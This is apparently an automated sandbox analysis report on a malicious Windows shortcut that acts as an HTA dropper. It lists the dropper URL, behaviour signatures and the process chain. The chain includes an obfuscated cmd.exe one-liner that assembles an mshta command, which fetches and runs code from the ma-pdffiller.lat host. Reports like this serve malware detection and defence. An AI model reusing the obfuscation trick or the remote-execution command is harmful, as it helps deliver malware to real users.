Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:21
General
- Target DOC-OCB2UA.lnk
- Size 2KB
- Sample260804-j9f2jsvelb
- SHA256 d9218305f8004d8fd2b934c575969f050db111d942fd24f9c9cb9821df6becb3
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OCB2UA.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set Xo=infocusnvsxbulinf&set KWbIa=cfgdjqucfg&set geGUI=0m4&&set JsSJj=0sqpl&&set ecK=hhtae&set MZv=netibzblcdtslugmmmnet&set jLR=dbgalcyssnjmdlkbwhdbg&set kXcss=logveuwlravedhclog&set KUxr=3st4&&set wa=glkar5&&set Hf=hlqte&set frS=logpkvtwjmryjcolog&set Zv=bakyfulmsecmfllgbak&set dpK=winahmgeevycapmwin&&set iC=h@t@t@p@s://m@a@-pdff@i@l@l@er.@lat/@h@/@est@agi@o1.@p@h@p@?r=3@91469@F@B@5D82DB&&start /b !geGUI:~1,1!!JsSJj:~1,1!!ecK:~1,3! !iC:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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